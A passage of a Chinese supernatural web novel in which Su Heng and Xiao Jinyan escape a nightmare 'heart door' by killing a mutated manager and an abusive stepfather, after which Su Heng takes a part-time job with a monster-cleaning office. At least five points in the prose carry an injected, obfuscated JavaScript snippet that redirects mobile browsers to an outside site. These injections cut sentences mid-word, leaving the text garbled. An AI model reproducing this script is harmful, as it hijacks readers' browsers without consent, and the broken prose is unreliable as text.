那是一柄最廉价不过的银色美工刀,纤薄的刀片被完全推了出来,在走廊昏暗的灯光下,折射出一点冰冷的、微弱的寒芒。 周云握刀的手抖得厉害,几乎握不住那纤薄的塑料刀柄。 陈奇在看清周云手里东西的瞬间,整个人如同被踩了尾巴的猫,猛地炸毛了。 “我操!他他他……他要捅我!” 刚才还盛气凌人的健身教练,此刻吓得魂飞魄散。 他想也不想,一个箭步就蹿到了宿珩身后,高大的身躯努力蜷缩着,试图用宿珩相对瘦削的身影挡住自己,先前痛打周云时的气魄,消失得无影无踪。 宿珩:“……” 然而,周云的目标,从始至终都不是陈奇。 他甚至没有分给任何一人,一丝一毫的注意。 周云握紧那把随时可能脱手的美工刀,通红的眼睛死死盯着走廊尽头那扇敞开的卫生间门。 里面不断传出沉闷的撞击声和甲壳摩擦地面的噪音,以及某种非人的嘶吼。 周云猛地咬紧牙关,脸颊因为用力而绷紧,肿胀的脸颊显得更加扭曲。 他像是用尽了全身的力气,发出一声压抑的低吼,然后攥着那把颤抖的美工刀,踉跄着冲进了卫生间。 浓郁的腥臭味扑面而来,几乎令人窒息。 卫生间内,比想象中的还要狼藉。 地面上、墙壁上,甚至天花板上,都泼洒着大片大片粘稠腥臭的深褐色液体,如同劣质油漆般缓缓流淌。 类似昆虫肢节的角质碎片散落得到处都是,有些还在微微抽搐。 肖靳言的身影如同鬼魅,在狭窄逼仄的空间内高速移动,动作干净利落,手中的黑色短刀划出简洁而致命的弧线,每一次闪过都伴随着甲壳碎裂或肢节断裂的闷响。 那个异化了大半的经理,此刻更是凄惨无比。 它身上大部分扭曲增生的肢节都已被斩断,只剩下一条最为粗壮、布满粘液和倒刺的前肢还在疯狂却徒劳地挥舞着。 它的主体躯干被肖靳言坚硬的鞋底,死死踩在满是污水的地砖上,动弹不得,发出愤怒而无力的嘶鸣。 肖靳言正准备彻底了结这个恶心的东西,眼角余光瞥见周云跌跌撞撞地冲了进来,手里还握着一把可笑的美工刀。 他动作微顿,露出一丝极淡的诧异。 就在这一瞬间。 周云嘶吼着扑了上去! 他不是扑向经理的要害,不是眼睛,不是心脏。 他像一头发了疯的困兽,用尽全身的力气,将那把颤抖的美工刀,恶狠狠地捅进了经理那张还在试图发出威胁嘶鸣的嘴里! 那张曾经凑近他耳边低语威胁,在他身上留下无数屈辱印记的嘴! “噗嗤——!” 美工刀的刀片并不算长,但足够锋利。 它深深地扎了进去,搅烂了里面的软肉和黏膜,带出一股更加浓烈的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653355|172840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腥臭。 “嗬——呃!!” 经理发出一声被扼住喉咙般的怪响,剧痛让它仅剩的独眼瞬间充血凸出。 它彻底暴怒了,仅存的那条粗壮节肢猛地抬起,尖锐的顶端对准周云毫无防备的胸膛,就要戳穿下去! 速度快得超乎想象,带着同归于尽的疯狂! 但有人比它更快。 一道黑色的流光闪过。 “咔嚓!” 令人牙酸的骨骼断裂声响起。 肖靳言手中的黑色短刀后发先至,精准无比地斩落,刀锋撕裂空气,干脆利落地将那条粗壮节肢,从根部彻底斩断! 黑褐色的腥臭液体喷溅而出。 失去最后攻击手段和反抗能力的经理,如同被抽走了所有骨头,彻底瘫软下去。 它庞大的身躯在地上抽搐了几下,喉咙里发出无意义的“嗬嗬”漏风声,嘴里不断涌出混合着血液和自身粘液的污秽物。 那把美工刀,还插在它的嘴里,刀柄兀自颤抖。 周云双腿一软,扑通一声跌坐在冰冷肮脏的地上。 他看着面前彻底失去威胁的怪物,看着它嘴里那把沾满了血污的美工刀,胸膛剧烈起伏,大口大口地喘着粗气。 下一秒,眼泪不受控制地奔涌而出。 这一次,却不是因为恐惧和屈辱。 宿珩带着林晓鹿和楚文武,小心地避开地上的污秽,重新走进卫生间。 陈奇犹豫了一下,也跟了进来,只是还躲在后面。 他们看到,周云撑着墙壁,再次摇摇晃晃地站了起来。 接着他走到瘫软如烂泥的经理面前,抬起脚,学着之前陈奇凶狠的样子,狠狠一脚踹在经理那张覆盖着硬壳,如同巨大蟑螂般的脸上。 “叫啊!你他妈不是能耐吗?!再叫啊!” “欺负老子?嗯?!” “你以为老子不敢动你?!” 周云一边踹,一边用嘶哑的声音痛骂着,将积压了无数个日夜的愤怒和恐惧,尽数倾泻出来。 宿珩嫌恶地皱了皱眉,避开脚下一滩正在扩散的恶心液体。 他的视线越过正在发泄的周云,转向站在洗手台前的肖靳言。 肖靳言拧开了水龙头,哗哗的流水冲刷着黑色短刀上的粘液。 他没有看周云,也没有看地上那个半死不活的怪物。 水流声中,肖靳言抬起头,隔着水汽,看向宿珩。 他微微挑了一下眉毛,动作极轻,仿佛只是水珠溅到了脸上。 18. 第 18 章 肖靳言关掉水龙头,振腕甩落刀锋上的水珠,那柄x洗干净污秽的黑色短刀便无声滑回袖中。 他随宿珩一同迈出卫生间,身后是令人作呕的狼藉,以及那具逐渐失去了温度,停止异化的躯壳。 周云的身影被留在了那片脏污之中,无人再去过问。 陈奇心有余悸地最后瞥了一眼似乎仍在发泄的周云,连忙与楚文武一道,紧随两位大佬的步伐,林晓鹿则紧紧跟在他们后面。 一行人回到电梯前,按下下行键。 弥漫在24楼空气里的那股无形重压,如同退潮般悄然散去,连呼吸似乎都轻盈了几分。 宿珩能清晰地感知到,这个属于“周云”的心门,正在走向终结。 轿厢内数字不断跳动。 经过19楼时,宿珩似有所感,指尖微动,按下了开门键。 金属门向两侧滑开。 19楼的走廊依旧破败,但弥漫其间的粘稠窥伺感,已经荡然无存。 视野尽头,1904那扇歪斜的门前,燃着一堆火。 火焰贪婪地舔舐着焦黑扭曲的怪物残骸,以及无数散落其间的、被撕得粉碎的照片碎片。 周云背对着电梯口,静立于火堆之前,跳动的火光映照着他异常平静的侧脸。 他没有回头,甚至没有丝毫察觉到身后的动静,仿佛彻底沉浸在某种仪式中,凝视着那堆本该早就化为灰烬的过往。 电梯门再次合拢。 就在它即将继续下行之际,操作面板上,除了8、19、24这三个熟悉的数字外,一个全新的标识突兀地亮起,散发出微弱却清晰的绿色荧光。 ——“1F”。 “一楼!是一楼亮了!” 楚文武第一个发现,声音里充满了压抑不住的激动和狂喜,“我们是不是可以出去了?!” 他几乎是本能地就要伸手去按那个象征着自由的按钮。 但一只骨节分明的手却先一步拦住了他。 “先等等。”宿珩的声音依旧没什么温度。 “还等什么啊?” 陈奇也急不可耐地凑近,脸上是劫后余生的亢奋与对离开此地的迫切,“这鬼地方,多待一秒都瘆得慌!” 宿珩并未理会他们的焦躁,只是抬起手,指尖精准地点亮了另一个数字——“8”。 “8楼?”楚文武愕然,“我们……还要回去吗?” 林晓鹿和陈奇同样面露困惑。 宿珩没有解释,他只是微微侧过脸,看向身旁的肖靳言。 肖靳言倚靠着轿厢壁,双手插在冲锋衣口袋里,脸上没什么表情。 他迎上宿珩的视线,几不可察地扬了一下眉梢。 他懂。 那个在8楼用污秽想法打量过宿珩的男人,还没有付出代价。 毕竟……谁能有他宿珩记仇呢? 电梯门在8楼打开。 昏黄的走廊,空气里依旧残留着劣质酒精和霉味。 802的门虚掩着,门缝里,可以看到那个小小的身影正趴在地上。 他用草稿纸仔细叠出了四个圆形的车轮,正用一支不知道从哪里找来的水彩笔,小心翼翼地给那辆破旧玩具车涂抹着颜色。 他完全沉浸在自己的世界里,对再次到来的不速之客恍若未觉。 可惜的是……继父不在。 几人站在802门口,气氛一时有些凝滞。 想到即将面对那个凶戾可怕的继父,陈奇烦躁地抓了抓头发,楚文武则不安地来回踱步。 宿珩靠着墙壁,一动不动。 肖靳言站在他旁边,同样沉默。 时间一分一秒地过去。 压抑的等待,比面对怪物更加磨人。 大约十分钟后,走廊深处传来一阵踉跄沉重的脚步声,伴随着含混不清的醉骂。 一个身影摇摇晃晃地出现在拐角,男人满身酒气,手里仍然提着那把刃口泛着寒光的剔骨刀。 正是周云的继父。 他一眼看到堵在自家门口的宿珩几人,浑浊的醉眼瞬间被血丝爬满,一股暴戾的怒气冲头而起。 “妈的……你们这群杂种怎么又来了?!私闯民宅是不是?!” 他看到了门缝里的小男孩,更是怒不可遏。 “小兔崽子!吃里扒外的东西!看老子今天不打死你!” 男人咆哮着,像头发疯的公牛,挥舞着手里的剔骨刀,不顾一切地朝着宿珩他们冲了过来。 没等他靠近。 “砰!” 楚文武反应极快,抄起旁边墙角堆放的一张破旧木凳,用尽全力砸了过去。 木凳在半空中被男人胡乱挥舞的剔骨刀瞬间劈得四分五裂,木屑炸开。 但这一下也阻碍了他的前冲。 就在男人视线被木屑遮挡的一瞬间,一直紧绷着肌肉的陈奇鼓足勇气大叫了一声,猛地从侧后方扑上,蒲扇般的大手绕前,用粗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653356|172840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 壮的胳膊肘死死勒住了男人的脖子。 “呃——!” 男人被勒得脖颈青筋暴起,手里的剔骨刀疯狂挥砍,却怎么也够不到身后的陈奇。 宿珩眼中闪过一抹嫌恶,他看着男人因为缺氧和愤怒而涨红扭曲的脸,以及那只还在胡乱挥舞凶器的手腕。 随后抬起腿,动作干净利落,甚至带着一种冷酷的精准,几乎是复刻了肖靳言在24楼卫生间里的那一脚,狠狠踹在男人的手腕关节处。 “咔嚓!” 一声清脆的骨裂声响起。 剔骨刀脱手飞出,在空中划过一道寒光。 林晓鹿几乎是下意识地抬脚一踢,将那把危险的刀具踢进了旁边一个堆满杂物的柜子底下。 “放……开……老子……” 男人被陈奇勒得几乎窒息,脸憋成了紫红色,身体开始剧烈地抽搐。 他的皮肤之下,似乎有什么东西在急速涌动、变形,隐约浮现出硬化的暗色鬃毛和獠牙的轮廓,像一头被困在人皮下的野猪,即将破体而出。 属于继父的异化开始了。 但这次,它没有机会完成。 一道黑色弧光,快得如同错觉,骤然闪过。 肖靳言不知何时已经欺近,手中的黑色短刀如同切开黄油般,悄无声息,却又无比精准地,深深刺入了男人剧烈起伏的心脏位置。 动作干净利落,甚至带着一种漠然。 男人身体猛地一僵,所有挣扎和异化的迹象,都在这一瞬间戛然而止。 陈奇感觉到手臂上那股疯狂的抗拒力量骤然消失,他喘着粗气,慢慢松开了手。 男人软绵绵地向前扑倒,沉重地砸在肮脏冰冷的地板上。 鲜血从他心脏处汩汩涌出,迅速蔓延开来,与地面上那些早已干涸发黑的暗红色污渍,混合在了一起。 走廊里陷入死一般的寂静,只剩下陈奇粗重的喘息声。 门内,那个一直专注于给玩具车涂色的小男孩,终于慢慢抬起了头。 他看着倒在门外血泊中的男人,那张稚嫩的小脸上没有任何恐惧或悲伤,反而丢掉了手里的水彩笔,慢慢站起身。 在所有人的注视下,男孩拍了拍沾满灰尘的小手。 清脆的掌声在死寂的走廊里回荡。 小男孩的脸上,第一次绽开了一个清晰的,带着纯粹喜悦的笑容。 “爸爸……不是爸爸。”他声音清亮地说,“继父终于死了。” 19. 第 19 章 小男孩纯粹的笑声轻轻回荡,又很快消散。 802那扇虚掩的门,在众人转身后,无声无息地彻底闭合。 老旧的电梯发出最后一次不堪重负的嗡鸣,缓缓下降。 这一次,没有剧烈的晃动,没有令人不安的噪音,只有平稳的运行。 “叮——” 电梯抵达一楼。 那扇布满砍痕和凹陷的金属门,吃力地向两侧滑开。 门外,不再是筒子楼内部压抑昏暗的大厅。 夜晚的微凉空气,夹杂着尘土和植物气息,扑面而来。 黢黑的门洞外,是浓稠得化不开的夜色。 路灯散发着昏黄的光晕,将地面拉出长长的影子,之前笼罩一切的灰雾彻底消失了,远处城市的喧嚣隐约可闻。 他们出来了。 这次是真的出来了。 陈奇第一个冲出筒子楼,踉跄着跑到熟悉的街道,双手撑着膝盖,大口大口呼吸着现实世界的空气。 楚文武紧随其后,他掏出手机,屏幕亮起,信号格瞬间满格。 时间显示:22:47。 “出来了!我们真的出来了!” 楚文武几乎要跳起来,他激动地转向身后陆续走出来的人,“要不我们加个联系方式吧?以后就是患难与共的朋友了!” 林晓鹿也走了出来,她看着手机屏幕上重新出现的信号和时间,长长地、无声地吁出一口气,整个人像是卸下了千斤重担。 她抬起头,想回应楚文武的提议,却看到宿珩和肖靳言已经一言不发地走出了筒子楼,径直朝着那台孤零零立在路边的贩卖机走去。 两人的背影融入昏黄的路灯光影里,没有丝毫停留的意思。 楚文武举着手机的手僵在半空,脸上的兴奋冷却了几分。 “哎……宿哥!肖哥!”他想追上去。 “那个……文武小兄弟,先加我一个,我……我快憋不住了,得赶紧找个地方方便一下!” 陈奇捂着肚子,脸色发青,不等楚文武反应,草草扫了他的二维码,然后一溜烟跑向了街角公共厕所的方向。 楚文武看着陈奇消失的背影,又看看宿珩和肖靳言越走越远的背影,最后把手机揣回兜里,有些悻悻然。 林晓鹿走到楚文武身边,拍了拍他的肩膀。 “没关系,能活着出来,已经很好了。” 她的声音很轻,却带着一种前所未有的平静和释然,“有些人,能遇见就已经是幸运了。” 林晓鹿望着那两个渐行渐远的背影。 或许,正是因为有这样的人存在,他们这些被卷入其中的普通人,才能侥幸捡回一条命吧。 林晓鹿对着楚文武笑了笑,也转身离开了。 楚文武独自站在筒子楼的阴影里,晚风吹过,带来一丝凉意。他挠了挠头,最终还是朝着自家小区的方向走去。 贩卖机前。 原本只是蒙着一层薄灰的玻璃屏,此刻已经彻底碎裂,蛛网般的裂痕遍布其上,像是被人用钝器狠狠砸过。 出货口歪斜着,里面的灯也灭了,整台机器散发着一种彻底报废的死气。 宿珩站定,视线落在机器残骸上。 他忽然想起了那个瘦得像干尸的男人。 “周云……他会怎么样?” 宿珩的声音在寂静的夜里响起,他没有回头,只是对着身旁的肖靳言发问。 肖靳言双手插在冲锋衣口袋里,姿态随意地倚靠在旁边的路灯杆上,昏黄的光线在他硬朗的侧脸上投下深邃的阴影。 “解开心结,心门就会逐渐消散。”肖靳言的语气平淡无波。 “现实里的他,不会再被困在那个循环里。换句话说,不会彻底‘失踪’。也许会昏迷几天,也许会大病一场,但总归是捡回了一条命,有机会慢慢调整,回归正常生活。” 宿珩沉默地点了点头。 至少,周云的结局不算太坏。 他又想到了包括自己在内,被肖靳言称为“倒霉蛋”的人,想到了筒子楼里那股始终萦绕在鼻尖的腐臭。 “那些不幸被拉进心门,却没能闯过去的人呢?” 肖靳言偏头望着宿珩。 夜色模糊了他的表情,只有那双黑沉的眼睛,依旧清晰。 “迷失。” 他吐出两个字,简洁而残酷。 “心门是精神执念的具现化,闯入者如果无法打破主人的心结,或者自身意志不够坚定,就会被心门的负面情绪同化、吞噬。” 肖靳言的指尖无意识地摩挲着口袋里的打火机。 “要么,被心门里异化的怪物杀死,成为滋养它的养料。” “要么,被困在无尽的循环里,恐惧、绝望、崩溃,最终精神彻底死亡,变成一具行尸走肉,和心门主人一同‘失踪’,最后被慢慢遗忘。” 他抬手指了指身后那栋在夜色中如同沉默巨兽般的筒子楼。 “那里面经年不散的腐臭味,就是证明。” 宿珩的喉结微不可察地滚动了一下。 他想起自己进来前那阵莫名的窒息感,以及那些关于京大学生失踪的传闻。 原来,那些失踪的人,并非消失,而是以另一种更可怕的方式,永远留在了某个不为人知的角落。 宿珩沉思了半晌,忽然问:“那些作恶的人呢?” 肖靳言知道他想问什么,低笑了声,但笑意不达眼底。 “作为‘心门’主人的绝望和恐惧来源, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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木牌被风雨侵蚀得有些斑驳,上面用最普通的黑漆写着五个大字,字体方正,毫无设计感,甚至有点歪歪扭扭。 ——街道清理办事处。 这名字……还真是显眼。 显眼到像个普通的垃圾清理站…… 肖靳言走到门前,推开了那扇吱呀作响的玻璃门。 他耸了耸眉,侧身让宿珩先进。 “欢迎。” 20. 第 20 章 门内并非想象中的杂乱或简陋,反而是一条铺着老旧但干净水磨石地面的走廊。 空气里弥漫着一股淡淡的消毒水气味,混合着纸张和烟草的味道。 墙壁粉刷成白色,略微发黄,挂着几幅装裱简单的风景画,看上去更像某个过时的机关单位,而非处理超自然现象的据点。 宿珩迈步踏入。 走廊尽头的光线来自一扇窗户,窗外夜色沉沉。 左手边是一排紧闭的办公室木门,右手边则是一个通往二楼的狭窄楼梯。 肖靳言没有在一楼停留,径直走向楼梯。 宿珩跟在他身后,鞋底踩在木质楼梯上发出轻微的“咯吱”声。 二楼的格局与一楼相似,只是走廊更短一些。 肖靳言在一扇挂着“处长办公室”牌子的门前停下,正要推门—— “啪嗒。” 旁边一扇门几乎同时打开。 一个穿着熨帖黑色西装的年轻男人走了出来,手里拿着一个文件夹。 男人约莫二十四五岁,身形挺拔,容貌英俊,只是眉宇间带着一丝尚未完全褪去的疲惫。 他抬头,正对上肖靳言。 男人身体瞬间绷直,几乎是条件反射般并拢双脚,手里的文件夹也下意识地夹紧。 “肖处长!” 他的声音带着明显的紧张,甚至微微拔高了一个调。 宿珩站在肖靳言侧后方,清晰地捕捉到了对方的反应和称谓。 处长? 这家伙在这里的地位,似乎远不止一个普通的“办事处工作人员”那么简单啊? 肖靳言随意地抬了抬手,制止了对方可能要行的军礼或是其他更正式的举动。 “小闫,刚回来?” 被称作小闫的男人,紧绷的肩膀这才略微放松。 “是的肖处长,桐城南路的‘心门’处理完了,我刚回来不久,正准备写报告。” 闫知许顿了顿,补充一句,“明天下班前一定交给您。” 肖靳言的指节在门把手上轻轻敲了敲。 “不急。” 他拉开办公室的门,示意宿珩进去,同时对闫知许说:“后天吧,你先休息。” “是!谢谢肖处长!” 闫知许没想到老大居然法外开恩了一回,肉眼可见地松了口气,连带着语气都轻快不少。 他的注意力这才转向一直沉默站在旁边的宿珩。 当他看清宿珩的脸时,动作停顿了一下。 这张脸过分漂亮,气质却冷得拒人千里。 闫知许调整了一下表情,带着职业性的好奇,“肖处长,这位是……我们处新来的清理师吗?” 肖靳言靠在门框上,扭头看向已经走进办公室,并开始打量四周的宿珩,唇角勾起一个不易察觉的弧度。 “他啊?”肖靳言拖长了音调,“只要他点头,随时可以办入职。” 宿珩闻声转过身。 办公室不大,陈设简单,一张宽大的办公桌,后面是书柜,侧面有个小小的会客沙发区。 他大概理解了闫知许口中的“清理师”是什么意思。 结合这个接地气的“街道清理办事处”名字,大概就是专门处理“心门”这类麻烦的人员。 他直接看向肖靳言,语气平淡地拒绝:“没时间。” 顿了下,宿珩补充了句,但完全是陈述事实的语气,“我还要上课,空闲的时候要做家教。” 这个回答显然出乎闫知许的意料,他张了张嘴,却没发出声音。 肖靳言似乎早料到这个答案,他从门框上直起身,走进办公室。 “家教的话……”他走到办公桌后,随意拉开椅子坐下,“时薪多少?” “150。”宿珩报出数字,“一周两次,一次两小时。” 每周600块。 对于一个京大的学生来说,不算少,但也不算多。 肖靳言手指在桌面上点了点。 “如果你有兴趣,办事处倒是可以提供……兼职岗位。” 他从办公桌抽屉里的烟盒中抽出一根烟,又从冲锋衣口袋里掏出打火机,正要点燃时,补充了句:“清理师,按件计酬。” 闫知许站在门口,安静地听着,脸上维持着恰到好处的恭谨,但身体语言却透出他对这位“处长”亲自招揽的人产生了浓厚的兴趣。 宿珩没有立刻回应。 他计算着时间,以及潜在的风险。 “兼职人员,基本工资每月两万。”肖靳言抛出第一个数字,如同投入平静湖面的石子,“五险一金,按最高标准缴纳。” 宿珩的呼吸停顿了一瞬。 两万月薪,还只是基本工资? “每次成功处理‘心门’,根据评估难度和危险等级,发放任务奖金……最低,五万起。” 闫知许在旁边适时地补充了一句,语气带着对这份工作的某种自豪。 “而且上不封顶。” 高风险,高回报。 这是宿珩脑海里冒出的第一个念头。 这份报酬,足以让他摆脱现在经济上的窘迫,甚至可以说绰绰有余。 但他需要付出的,可能远不止时间和精力。 他想到了筒子楼内,8楼挥舞剔骨刀的继父,想到了19楼那半颗头颅,想到了24楼异化的经理…… 那些东西,远非普通人能够应对。 宿珩沉默了几秒。 他拿出手机看了眼屏幕上的时间,淡淡回应: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653358|172840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我需要考虑一下。” 肖靳言没有催促,也没有表现出任何失望或者不耐烦。 “可以。” 他点燃了烟,正要吸上一口时,却蓦地看出宿珩眼底的嫌弃,于是只好忍住烟瘾,将整根烟直接按进了烟灰缸。 “你要是想好了,直接来这里找我。” “嗯。” 宿珩应了一声,转身走向门口,“宿舍十一点半门禁,我该回去了。” 肖靳言也站起身,“我送你下去。” 闫知许立刻让开位置,好奇心愈发浓厚了。 什么时候肖处长对一个新人这么友好过? 三人依次走下楼梯。 一楼走廊空无一人,只有墙上的挂钟发出单调的滴答声。 肖靳言将宿珩送到办事处门口,夜风吹进来,带着夜晚特有的凉意。 宿珩没有多言,只是略微颔首示意,便转身融入了路灯昏黄的光影里,朝着京州大学的方向走去。 玻璃门在身后合拢,隔绝了外面的夜色。 闫知许看着宿珩消失的背影,终于忍不住开口,声音压低了许多。 “处长,这位……是您在刚刚那个‘心门’里遇到的?” 肖靳言双手插回冲锋衣口袋,他注视着宿珩离开的方向,脸上的随意散去,某种沉凝浮现。 “是。” 他收回视线,转身看向闫知许,后者立刻站直身体。 “无限世界崩溃,规则碎片裹挟着邪祟侵入现实,以人类的痛苦绝望为食,形成了这些‘心门’。” 肖靳言的声音恢复了平稳,却带着一种经历过大风大浪后的沉淀。 “我们这些从无限世界回来的人,大部分受到国家号召,身份自动转换,从玩家变成了清理师,负责处理这些烂摊子。” 闫知许认真听着,这些背景他早已熟知。 “但是……” 肖靳言话锋一转,重新看向门外那片沉沉的夜色。 “他是第一个……我遇到的,以非玩家身份,却能在‘心门’里保持那种程度冷静和洞察力的路人。” 闫知许的身体再次绷紧。 非玩家? 能收到处长如此高的评价,甚至被他亲自带回来,还想着招进办事处的……路人? 肖靳言没有再解释,拍了拍闫知许的肩膀。 “去休息吧,桐城南路那个‘心门’不简单,辛苦了。” “是,处长!” 闫知许应声,目送肖靳言重新走上二楼,直到他的身影消失在楼梯拐角。 他站在原地,回想着刚才那个气质冷冽的年轻人,又想到处长最后那句话,一种莫名的预感浮上心头。 他觉得……那个年轻人会来的。 21. 第 21 章 宿珩踩着23:25的时间点,赶在宿舍楼门禁前刷开了闸机。 楼道里安静无人,只有感应灯随着脚步声依次亮起又熄灭。 宿珩回到宿舍,门没锁,虚掩着一条缝。 推开门,一股泡面混合着汗味的熟悉气息扑面而来,算不上好闻,却带着一种脱离了‘心门’后,令人心安的真实感。 上床下桌的四人间,只住着三个人。 靠门位置的室友1正在打游戏,对面床上的室友2正压低声音和对象打语音。 听到开门声,室友2从手机屏幕上抬起头,看到是宿珩,有些意外:“今天家教这么晚才结束吗?” 宿珩走到自己的书桌前坐下,声音听不出什么情绪:“学生家长临时加了点题,多耽误了会儿。” “哦哦……辛苦辛苦。” 室友2应了两声,没再多问,注意力很快又回到了手机上,继续和对象腻歪去了。 室友1也抽空抬了下头,含糊地打了声招呼,随后又立刻沉浸在游戏中了。 宿珩从柜子里拿出洗漱用品,走向宿舍尽头的公共盥洗室。 冰凉的水扑在脸上,驱散了一些疲惫,却没能浇灭脑子里纷乱的思绪。 肖靳言的话,那个“街道清理办事处”,还有那份高得不合常理的薪水……在脑海里反复盘旋。 他看着镜子里自己略显苍白的脸,水珠顺着下颌线滑落。 其实,他隐约感觉到了自己的不同寻常。 筒子楼里那些翻涌的情绪,恐惧、绝望、令人窒息的压迫……他似乎比旁人更能清晰地感受到,那种感觉太过具体,几乎像是能用眼睛“看见”一般。 肖靳言肯定也察觉到了。 不然,那个男人不会在筒子楼里,用那种近乎笃定的语气问他—— “你对这些……东西,好像比其他人敏感?” 敏感……吗? 宿珩关掉水龙头,哗哗的水流声戛然而止,周围只剩下灯管微弱的电流声。 他甩了甩手上的水珠,转身离开。 这一晚,宿珩罕见地失眠了。 第二天只有上午一节专业课。 下课铃一响,宿珩收拾好东西,没有回宿舍,而是径直穿过校园,从南门走了出去,拐向那栋毫不起眼的二层小楼。 宿珩推开玻璃门,自行走了进去。 大概其他的“清理师”都还在外面执行任务,整个一楼空荡荡的,过于安静。 宿珩没停留,径直踏上了通往二楼的木质楼梯。 他敲响了那扇挂着“处长办公室”牌子的门。 “进。” 里面传来肖靳言带着点懒散的声音。 宿珩推门进去。 肖靳言正靠在宽大的椅背上,指间夹着一根未点燃的香烟,视线落在一份摊开的文件上。 看到来人是宿珩,他眉梢微不可察地动了一下,似乎对他的到来并不感到意外。 “想好了?”肖靳言放下文件,目光落在他身上。 “嗯。”宿珩点头,“我同意兼职。” “行。” 肖靳言唇角勾起一点弧度,拿起桌上的黑色座机话筒,作势要拨号。 “正好小闫也在,我让他通知一下,等其他人出差回来,给你办个欢迎……” “不用了。”宿珩干脆地打断他的提议,顿了下,好歹解释了一句:“我不喜欢人多。” 肖靳言拨号的手指停在半空,他看了宿珩两秒,耸耸肩,把话筒放了回去。 “行吧,随你。” 他站起身,走到旁边的饮水机接了杯水,递给宿珩。 “那正好,省得麻烦了。不过按我们这儿不成文的规矩,新人入职的第一次任务,得有个老人带着熟悉一下流程。” 肖靳言靠回办公桌边沿,自己也端起桌上的水杯喝了一口,慢悠悠地接着说:“这次,就由我亲自带你。” 宿珩接过那杯尚温的水,握在手里,没有喝。 他没想到任务来得这么快,眼中闪过一丝诧异,“什么时候?” “后天。”肖靳言放下水杯,“地点和具体情况,我待会儿发你微信。” 他拿出手机,屏幕亮起,调出二维码界面,朝着宿珩的方向示意了一下。 宿珩扫了他的名片,微信好友列表里多了一个头像是一只表情蠢萌的西伯利亚雪橇犬,昵称只有一个“肖”字的人。 这头像和眼前冷硬英俊的男人……没有半点相像。 很快,手机震动了一下。 肖靳言发来一个定位,后面跟着一条文字消息: 【后天上午十点半,到这个小区的中心花坛,如果看到花坛里有一个粉色的蝴蝶发卡,把它捡起来。】 【那是‘钥匙’。】 宿珩看完,想着他们这种类似“体制”内工作的习惯,回了个“收到”。 “记住了?”肖靳言问。 “嗯。”宿珩把手机揣回兜里,“没什么事的话,我先走了。” “行,后天见。”肖靳言挥了挥手。 宿珩转身离开,办公室的门在他身后轻轻合上。 就在宿珩走后不久,抱着一摞文件的闫知许悄无声息地推开了旁边那扇办公室的门,脸上带着恰到好处的、准备汇报工作的神情。 实际上,早在几分钟前,他准备送文件时,已经把刚才里面的对话听了个七七八八。 他站在处长办公室门外,表情控制得很好,心里却有点微妙。 老人带新人? 闫知许努力回忆了一下,他们办事处,什么时候有过这种温情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653359|172840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脉脉的传统了? 能被招进这里的,哪个不是在无限世界里摸爬滚打过的老油条,还需要人手把手地带? 他严重怀疑,他们这位向来眼高于顶、对旁人爱答不理的肖处长,这次是在明目张胆地……徇私。 但这念头也只敢在心里转转,借他十个胆子也不敢当面说出来。 闫知许清了清嗓子,调整好表情,抬手敲响了办公室的门。 …… 两天时间一晃而过。 这天上午,宿珩提前了半个小时,按照肖靳言发的定位,找到了那个叫做“手表厂小区”的老旧居民楼。 小区没有设置门禁,可以自由出入,楼栋外墙斑驳,露出底下的红砖,晾衣架伸出窗外,挂着五颜六色的衣物,空气里飘着油烟和尘土混合的气息,充满了嘈杂而鲜活的生活感。 宿珩穿过几栋居民楼,来到小区中心那个不大的圆形花坛前。 